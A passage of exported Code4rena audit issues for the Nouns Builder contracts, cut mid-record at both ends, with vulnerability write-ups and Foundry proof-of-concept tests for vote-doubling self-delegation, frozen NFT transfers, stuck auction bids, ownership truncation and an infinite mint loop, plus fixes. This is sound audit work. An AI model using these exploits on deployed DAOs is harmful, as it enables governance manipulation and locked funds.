delegation, the `delegation` mapping does not contain a value for the `_from` address, and `prevDelegate` on L#181 will be set to `address(0)`: [`ERC721Votes.sol#L180-L181`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L180-L181) ```solidity // Get the previous delegate address prevDelegate = delegation[_from]; ``` This function then calls into `_moveDelegateVotes` to transfer voting power. This time, `_from` is `prevDelegate`, equal to `address(0)`; `_to` is the token owner's address; and `_amount` is `balanceOf(_from)`, the token owner's current balance: [`ERC721Votes#_moveDelegateVotes`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L192-L235) ```solidity /// @dev Transfers voting weight /// @param _from The address delegating votes from /// @param _to The address delegating votes to /// @param _amount The number of votes delegating function _moveDelegateVotes( address _from, address _to, uint256 _amount ) internal { unchecked { // If voting weight is being transferred: if (_from != _to && _amount > 0) { // If this isn't a token mint: if (_from != address(0)) { // Get the sender's number of checkpoints uint256 nCheckpoints = numCheckpoints[_from]++; // Used to store the sender's previous voting weight uint256 prevTotalVotes; // If this isn't the sender's first checkpoint: Get their previous voting weight if (nCheckpoints != 0) prevTotalVotes = checkpoints[_from][nCheckpoints - 1].votes; // Update their voting weight _writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount); } // If this isn't a token burn: if (_to != address(0)) { // Get the recipients's number of checkpoints uint256 nCheckpoints = numCheckpoints[_to]++; // Used to store the recipient's previous voting weight uint256 prevTotalVotes; // If this isn't the recipient's first checkpoint: Get their previous voting weight if (nCheckpoints != 0) prevTotalVotes = checkpoints[_to][nCheckpoints - 1].votes; // Update their voting weight _writeCheckpoint(_to, nCheckpoints, prevTotalVotes, prevTotalVotes + _amount); } } } } ``` The `if` condition on L#203 is `true`, since `_from` is `address(0)`, `_to` is the owner address, and `_amount` is nonzero: [`ERC721Votes.sol#L202-L203`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L202-L203) ```solidity // If voting weight is being transferred: if (_from != _to && _amount > 0) { ``` Execution skips the `if` block on L#205-217, since `_from` is `address(0)`: [`ERC721Votes.sol#L205-L217`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L204-L217) ```solidity // If this isn't a token mint: if (_from != address(0)) { // Get the sender's number of checkpoints uint256 nCheckpoints = numCheckpoints[_from]++; // Used to store the sender's previous voting weight uint256 prevTotalVotes; // If this isn't the sender's first checkpoint: Get their previous voting weight if (nCheckpoints != 0) prevTotalVotes = checkpoints[_from][nCheckpoints - 1].votes; // Update their voting weight _writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount); } ``` However, the `if` block on L#220-232 will execute and increase the voting power allocated to `_to`: [`ERC721Votes.sol#L220-L232`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L219-L232) ```solidity // If this isn't a token burn: if (_to != address(0)) { // Get the recipients's number of checkpoints uint256 nCheckpoints = numCheckpoints[_to]++; // Used to store the recipient's previous voting weight uint256 prevTotalVotes; // If this isn't the recipient's first checkpoint: Get their previous voting weight if (nCheckpoints != 0) prevTotalVotes = checkpoints[_to][nCheckpoints - 1].votes; // Update their voting weight _writeCheckpoint(_to, nCheckpoints, prevTotalVotes, prevTotalVotes + _amount); } ``` The token owner's voting power has now been increased by an amount equal to their total number of tokens, without an offsetting decrease. This exploit only works once: if a token owner subsequently delegates to themselves after their initial self delegation, `prevDelegate` will be set to a non-default value in `_delegate`, and the delegation logic will work as intended. ### Impact Malicious `ERC21Votes` owners can accrue more voting power than they deserve. Especially malicious owners may quietly acquire multiple tokens before doubling their voting power. In an early DAO with a small supply of tokens, the impact of this exploit could be significant. ### Recommendation Make the `delegates` function `public` rather than `external`: ```solidity /// @notice The delegate for an account /// @param _account The account address function delegates(address _account) public view returns (address) { address current = delegation[_account]; return current == address(0) ? _account : current; } ``` Then, call this function rather than accessing the `delegation` mapping directly: ```solidity /// @dev Updates delegate addresses /// @param _from The address delegating votes from /// @param _to The address delegating votes to function _delegate(address _from, address _to) internal { // Get the previous delegate address prevDelegate = delegates(_from); // Store the new delegate delegation[_from] = _to; emit DelegateChanged(_from, prevDelegate, _to); // Transfer voting weight from the previous delegate to the new delegate _moveDelegateVotes(prevDelegate, _to, balanceOf(_from)); } ``` Note that the original NounsDAO contracts follow this pattern. (See [here](https://github.com/nounsDAO/nouns-monorepo/blob/master/packages/nouns-contracts/contracts/base/ERC721Checkpointable.sol#L83-L91) and [here](https://github.com/nounsDAO/nouns-monorepo/blob/master/packages/nouns-contracts/contracts/base/ERC721Checkpointable.sol#L83-L91)). ### Test cases (Put the following test cases in `Gov.t.sol`) ```solidity function test_delegate_to_self_doubles_voting_power() public { mintVoter1(); assertEq(token.getVotes(address(voter1)), 1); vm.startPrank(voter1); token.delegate(address(voter1)); assertEq(token.getVotes(address(voter1)), 2); } function mintToken(uint256 tokenId) internal { vm.prank(voter1); auction.createBid{ value: 0.420 ether }(tokenId); vm.warp(block.timestamp + auctionParams.duration + 1 seconds); auction.settleCurrentAndCreateNewAuction(); } function test_delegate_to_self_multiple_tokens_doubles_voting_power() public { // An especially malicious user may acquire multiple tokens // before doubling their voting power through this exploit. mintVoter1(); mintToken(3); mintToken(4); mintToken(5); mintToken(6); assertEq(token.getVotes(address(voter1)), 5); vm.prank(voter1); token.delegate(address(voter1)); assertEq(token.getVotes(address(voter1)), 10); } ```"}, {"title": "Unintended zero wallet addresses results in loss of tokens for Founders", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/410", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "Unintended zero wallet addresses results in loss of tokens for Founders"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/409", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/399", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/396", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/386", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/384", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/383", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/382", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/381", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Highest bid in first auction can get irretreivably stuck in the protocol", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/376", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L248-L254 # Vulnerability details ## Impact If the first auction is paused and unpaused in a protocol deployed with no founder fees, the highest bid (as well as the first NFT), will get stuck in the protocol with no ability to retrieve either of them. ## Proof of Concept In a protocol with founder ownership percentage set to 0, the first tokenId put to auction is #0. If the first auction in such a protocol is paused and unpaused, the check for `if (auction.tokenId == 0)` will pass and `_createAuction()` will automatically be called, minting the next token and starting a new auction based on token #1. The result is that `highestBid` and `highestBidder` are reset, the first auction is never settled, and the highest bid (as well as NFT #0) will remain stuck in the platform. The following test confirms this finding: ```solidity function test_PauseAndUnpauseInFirstAuction() public { address bidder1 = vm.addr(0xB1); address bidder2 = vm.addr(0xB2); vm.deal(bidder1, 100 ether); vm.deal(bidder2, 100 ether); console.log(\"Deploying with no founder pct...\"); deployMockWithEmptyFounders(); console.log(\"Unpausing...\"); vm.prank(founder); auction.unpause(); console.log(\"Bidder makes initial bid.\"); vm.prank(bidder1); auction.createBid{ value: 1 ether }(0); (uint256 tokenId_, uint256 highestBid_, address highestBidder_,,,) = auction.auction(); console.log(\"Currently bidding for ID \", tokenId_); console.log(\"Highest Bid: \", highestBid_, \". Bidder: \", highestBidder_); console.log(\"Contract Balance: \", address(auction).balance); console.log(\"--------\"); console.log(\"Pausing and unpausing auction house...\"); vm.startPrank(address(treasury)); auction.pause(); auction.unpause(); vm.stopPrank(); console.log(\"Bidder makes new bid.\"); vm.prank(bidder2); auction.createBid{ value: 0.5 ether }(1); (uint256 tokenId2_, uint256 highestBid2_, address highestBidder2_,,,) = auction.auction(); console.log(\"Currently bidding for ID \", tokenId2_); console.log(\"Highest Bid: \", highestBid2_, \". Bidder: \", highestBidder2_); console.log(\"Contract Balance: \", address(auction).balance); ``` ## Tools Used Manual Review, Foundry ## Recommended Mitigation Steps Remove the block in `unpause()` that transfers ownership and creates an auction if `auction.tokenId == 0` and trigger those actions manually in the deployment flow."}, {"title": "ERC721Votes's delegation disables NFT transfers and burning", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/373", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L262-L268 # Vulnerability details If Alice the NFT owner first delegates her votes to herself, second delegates to anyone else with delegate() or delegateBySig() then all her NFT ids will become stuck: their transfers and burning will be disabled. The issue is _afterTokenTransfer() callback running the _moveDelegateVotes() with an owner instead of her delegate. As Alice's votes in the checkpoint is zero after she delegated them, the subtraction _moveDelegateVotes() tries to perform during the move of the votes will be reverted. As ERC721Votes is parent to Token and delegate is a kind of common and frequent operation, the impact is governance token moves being frozen in a variety of use cases, which interferes with governance voting process and can be critical for the project. ## Proof of Concept Suppose Alice delegated all her votes to herself and then decided to delegate them to someone else with either delegate() or delegateBySig() calling _delegate(): https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L179-L190 ```solidity function _delegate(address _from, address _to) internal { // Get the previous delegate address prevDelegate = delegation[_from]; // Store the new delegate delegation[_from] = _to; emit DelegateChanged(_from, prevDelegate, _to); // Transfer voting weight from the previous delegate to the new delegate _moveDelegateVotes(prevDelegate, _to, balanceOf(_from)); } ``` _moveDelegateVotes() will set her votes to `0` as `_from == Alice` and `prevTotalVotes = _amount = balanceOf(Alice)` (as _afterTokenTransfer() incremented Alice's vote balance on each mint to her): https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L196-L217 ```solidity function _moveDelegateVotes( address _from, address _to, uint256 _amount ) internal { unchecked { // If voting weight is being transferred: if (_from != _to && _amount > 0) { // If this isn't a token mint: if (_from != address(0)) { // Get the sender's number of checkpoints uint256 nCheckpoints = numCheckpoints[_from]++; // Used to store the sender's previous voting weight uint256 prevTotalVotes; // If this isn't the sender's first checkpoint: Get their previous voting weight if (nCheckpoints != 0) prevTotalVotes = checkpoints[_from][nCheckpoints - 1].votes; // Update their voting weight _writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount); } ``` After that her votes in the checkpoint become zero. She will not be able to transfer the NFT as `_afterTokenTransfer` will revert on `_moveDelegateVotes`'s attempt to move `1` vote from `Alice` to `_to`, while `checkpoints[Alice][nCheckpoints - 1].votes` is `0`: https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L262-L268 ```solidity function _afterTokenTransfer( address _from, address _to, uint256 _tokenId ) internal override { // Transfer 1 vote from the sender to the recipient _moveDelegateVotes(_from, _to, 1); ``` ## Recommended Mitigation Steps The root issue is _afterTokenTransfer() dealing with Alice instead of Alice's delegate. Consider including delegates() call as a fix: https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L262-L268 ```solidity function _afterTokenTransfer( address _from, address _to, uint256 _tokenId ) internal override { // Transfer 1 vote from the sender to the recipient - _moveDelegateVotes(_from, _to, 1); + _moveDelegateVotes(delegates(_from), delegates(_to), 1); ``` As `delegates(address(0)) == address(0)` the burning/minting flow will persist: https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L124-L129 ```solidity /// @notice The delegate for an account /// @param _account The account address function delegates(address _account) external view returns (address) { address current = delegation[_account]; return current == address(0) ? _account : current; } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/363", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/362", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "No control over timeBuffer could make that the first bid of each auction would make the auction end", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/359", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/auction/Auction.sol#L147-L150 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/auction/Auction.sol#L146 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/auction/Auction.sol#L323-L327 # Vulnerability details ## Impact There is an [unchecked block](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/auction/Auction.sol#L147-L150) that in case timeBuffer is sufficiently large, would make the sum overflow and set the endTime of the auction in the past, making the auction end automatically. The developers are aware of this, that's why they have [this comment](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/auction/Auction.sol#L146). But I think it's not a matter of realistically overflowing, it could be set to a value large enough by mistake. It's not worth it to not validate the value of the time buffer, because the consequences could be devastating. The best option would be to validate in function [setTimeBuffer](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/auction/Auction.sol#L323-L327) that the timeBuffer cannot be set to a large value. ## Tools Used Manual analysis ## Recommended Mitigation Steps Change function setTimeBuffer with this: ``` function setTimeBuffer(uint256 _timeBuffer) external onlyOwner { require(_timeBuffer < 31536000, \"TimeBuffer: too big\"); settings.timeBuffer = SafeCast.toUint40(_timeBuffer); emit TimeBufferUpdated(_timeBuffer); } ``` I supposed that **timeBuffer** should be less than one year (probably much less), so I compared here with the number of seconds in a year."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/357", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/353", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "`Auction:createBid`: can take a bid with the same `highestBid` if (highestBid * minBidIncrement < 100)", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/349", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L123 # Vulnerability details ## Impact A bidder can outbid previous bid with the same value, if the `(previous bid * minBidIncrement < 100)`. ## Proof of Concept ```solidity // Auction.sol // createBid 117 unchecked { 118 // Compute the minimum bid 119 minBid = highestBid + ((highestBid * settings.minBidIncrement) / 100); 120 } 121 122 // Ensure the incoming bid meets the minimum 123 if (msg.value < minBid) revert MINIMUM_BID_NOT_MET(); 331 function setMinimumBidIncrement(uint256 _percentage) external onlyOwner { 332 settings.minBidIncrement = SafeCast.toUint8(_percentage); 333 334 emit MinBidIncrementPercentageUpdated(_percentage); 335 } ``` When the `minBid` (defined in the line 119) is the same as the current `highestBid`, one can call `createBid` with the same value as the current `highestBid` (line 123). It means that the new bidder will get the Bid, even though the previous bidder has the same bid and was earlier. The `minBid` can be the same as the `highesBid` when `highestBid * minBidIncrement` is less than 100. So either the `highestBid` or `minBinIncrement` is too small, a bidder can overbid the precious one with the same amount of value. The first bid should be higher or equal to the `reservePrice`. However, there is no safe guard against setting small `reservePrice` and `minBidIncrement`. For example, let's say the `settings.minBidIncrement` is set to zero. Alice called `createBid` with 1 ether and is the current highestBidder with the `highestBid` of 1 ether. Bob calls `createBid` with 1 ether. The `minBid` in the line 119 will be 1ether as `minBidIncrement` is set to zero. In the line 123 the `msg.value` is 1 ether is the same as `minBid` therefore it will not revert. And now Bob is the `highestBidder` even though he bid the same value after Alice. ## Tools Used None ## Recommended Mitigation Steps Revert if the `msg.value` is the same as the `minBid`: ```solidity // Auction.sol // createBid 117 unchecked { 118 // Compute the minimum bid 119 minBid = highestBid + ((highestBid * settings.minBidIncrement) / 100); 120 } 121 122 // Ensure the incoming bid meets the minimum - if (msg.value < minBid) revert MINIMUM_BID_NOT_MET(); + if (msg.value <= minBid) revert MINIMUM_BID_NOT_MET(); ``` "}, {"title": "`Token:mint`: infinite loop if the founders' shares sum up to 100", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/347", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/token/Token.sol#L179 # Vulnerability details ## Impact The Token as well as Auction cannot be used if the sum of `ownershipPct` is 100 ## Proof of Concept ```solidity function test_poc_mintforever() public { createUsers(2, 1 ether); address[] memory wallets = new address[](2); uint256[] memory percents = new uint256[](2); uint256[] memory vestExpirys = new uint256[](2); uint256 pct = 50; uint256 end = 4 weeks; unchecked { for (uint256 i; i < 2; ++i) { wallets[i] = otherUsers[i]; percents[i] = pct; vestExpirys[i] = end; } } deployWithCustomFounders(wallets, percents, vestExpirys); assertEq(token.totalFounders(), 2); assertEq(token.totalFounderOwnership(), 100); Founder memory founder; unchecked { for (uint256 i; i < 100; ++i) { founder = token.getScheduledRecipient(i); if (i % 2 == 0) assertEq(founder.wallet, otherUsers[0]); else assertEq(founder.wallet, otherUsers[1]); } } // // commented out as it will not stop // vm.prank(otherUsers[0]); // auction.unpause(); } ``` In the proof of concept, there are two founders and they both share 50% of ownership. If the `Auction` should be `unpause`d, and therefore triggers to mint tokens, it will go into the infinite loop and eventually revert for out of gas. ```solidity // Token.sol 143 function mint() external nonReentrant returns (uint256 tokenId) { 144 // Cache the auction address 145 address minter = settings.auction; 146 147 // Ensure the caller is the auction 148 if (msg.sender != minter) revert ONLY_AUCTION(); 149 150 // Cannot realistically overflow 151 unchecked { 152 do { 153 // Get the next token to mint 154 tokenId = settings.totalSupply++; 155 156 // Lookup whether the token is for a founder, and mint accordingly if so 157 } while (_isForFounder(tokenId)); 158 } 159 160 // Mint the next available token to the auction house for bidding 161 _mint(minter, tokenId); 162 } 177 function _isForFounder(uint256 _tokenId) private returns (bool) { 178 // Get the base token id 179 uint256 baseTokenId = _tokenId % 100; 180 181 // If there is no scheduled recipient: 182 if (tokenRecipient[baseTokenId].wallet == address(0)) { 183 return false; 184 185 // Else if the founder is still vesting: 186 } else if (block.timestamp < tokenRecipient[baseTokenId].vestExpiry) { 187 // Mint the token to the founder 188 _mint(tokenRecipient[baseTokenId].wallet, _tokenId); 189 190 return true; 191 192 // Else the founder has finished vesting: 193 } else { 194 // Remove them from future lookups 195 delete tokenRecipient[baseTokenId]; 196 197 return false; 198 } 199 } ``` In the `Token::mint`, there is a while loop which will keep looping as long as `_isForFounder` returns true. The `_isForFounder` function will return true is the given `_tokenId`'s recipient is still vesting. However, to check the recipient it is checking the `baseTokenId` which is `_tokenId % 100` (in line 179 above snippet). Which means, if the `tokenRecipient` of 0 to 99 are currently vesting, it will keep returning true and the while loop in the `mint` function will not stop. The `tokenRecipient` was set in the `_addFounders` and if the sum of all founders' ownership percent is 100, the `tokenRecipient` will be filled up to 100. ## Tools Used None ## Recommended Mitigation Steps use `_tokenId` instead of `baseTokenId`. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/346", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/343", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Previous highest bidder can scare away or make current bidder pay unnecessary cost", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/341", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "Previous highest bidder can scare away or make current bidder pay unnecessary cost"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/338", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/336", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Precision is not enough for proposalThreshold and quorum. Collections with at least 20000 NFTs in total supply may have some trouble.", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/335", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-09-nouns-builder-findings", "body": "Precision is not enough for proposalThreshold and quorum. Collections with at least 20000 NFTs in total supply may have some trouble."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/332", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/331", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/328", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/326", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/322", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/320", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/316", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/315", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Truncation in casting can lead to a founder receiving all the base tokens", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/303", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/token/Token.sol#L71-L126 https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/token/Token.sol#L88 # Vulnerability details ## Impact The initialize function of the `Token` contract receives an array of `FounderParams`, which contains the ownership percent of each founder as a `uint256`. The initialize function checks that the sum of the percents is not more than 100, but the value that is added to the sum of the percent is truncated to fit in `uint8`. This leads to an error because the value that is used for assigning the base tokens is the original, not truncated, `uint256` value. This can lead to wrong assignment of the base tokens, and can also lead to a situation where not all the users will get the correct share of base tokens (if any). ## Proof of Concept To verify this bug I created a foundry test. You can add it to the test folder and run it with `forge test --match-test testFounderGettingAllBaseTokensBug`. This test deploys a token implementation and an `ERC1967` proxy that points to it, and initializes the proxy using an array of 2 founders, each having 256 ownership percent. The value which is added to the `totalOwnership` variable is a `uint8`, and when truncating 256 to fit in a `uint8` it will turn to 0, so this check will pass. After the call to initialize, the test asserts that all the base token ids belongs to the first founder, which means the second founder didn't get any base tokens at all. What actually happens here is that the first founder gets the first 256 token ids, and the second founder gets the next 256 token ids, but because the base token is calculated % 100, only the first 100 matters and they will be owned by the first owner. This happens because `schedule`, which is equal to `100 / founderPct`, will be zero (`100 / 256 == 0` due to uint div operation), and the base token id won't be updated in `(baseTokenId += schedule) % 100` (this line contains another mistake, which will be reported in another finding). The place where it will be updated is in the `_getNextTokenId`, where it will be incremented by 1. This exploit can work as long as the sum of the percents modulo 256 (truncation to `uint8`) is not more than 100. ```sol // The relative path of this file is \"test/FounderGettingAllBaseTokensBug.t.sol\" // SPDX-License-Identifier: MIT pragma solidity 0.8.15; import { Test } from \"forge-std/Test.sol\"; import { IManager } from \"../src/manager/Manager.sol\"; import { IToken, Token } from \"../src/token/Token.sol\"; import { TokenTypesV1 } from \"../src/token/types/TokenTypesV1.sol\"; import { ERC1967Proxy } from \"../src/lib/proxy/ERC1967Proxy.sol\"; contract FounderGettingAllBaseTokensBug is Test, TokenTypesV1 { Token imp; address proxy; function setUp() public virtual { // Deploying the implementation and the proxy imp = new Token(address(this)); proxy = address(new ERC1967Proxy(address(imp), \"\")); } function testFounderGettingAllBaseTokensBug() public { IToken token = IToken(proxy); address chadFounder = address(0xdeadbeef); address betaFounder = address(0xBBBBBBBB); // beta // Creating 2 founders with `ownershipPct = 256` IManager.FounderParams[] memory founders = new IManager.FounderParams[](2); founders[0] = IManager.FounderParams({ wallet: chadFounder, ownershipPct: 256, vestExpiry: 1 weeks }); founders[1] = IManager.FounderParams({ wallet: betaFounder, ownershipPct: 256, vestExpiry: 1 weeks }); // Initializing the proxy with the founders data token.initialize( founders, // we don't care about these abi.encode(\"\", \"\", \"\", \"\", \"\"), address(0), address(0) ); // Asserting that the chad founder got all the base token ids // (`tokenId % 100` is calculated to get the base token, so it is enough to check only the first 100 token ids) for (uint i; i < 100; ++i) { assertEq(token.getScheduledRecipient(i).wallet == chadFounder, true); } // Run with `forge test --match-test testFounderGettingAllBaseTokensBug` // Results: // [PASS] testFounderGettingAllBaseTokensBug() (gas: 13537465) // Great success } ``` ## Tools Used Manual audit & foundry for the PoC ## Recommended Mitigation Steps Don't truncate the `founderPct` variable to a uint8 when adding it to the totalOwnership variable, or alternatively check that it is less than `type(uint8).max` (or less or equal to 100). After applying this fix and running the test again, the result is: ``` [FAIL. Reason: INVALID_FOUNDER_OWNERSHIP()] testFounderGettingAllBaseTokensBug() (gas: 58674) ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/302", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/297", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/289", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/283", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/278", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/276", "labels": ["bug", "G (Gas 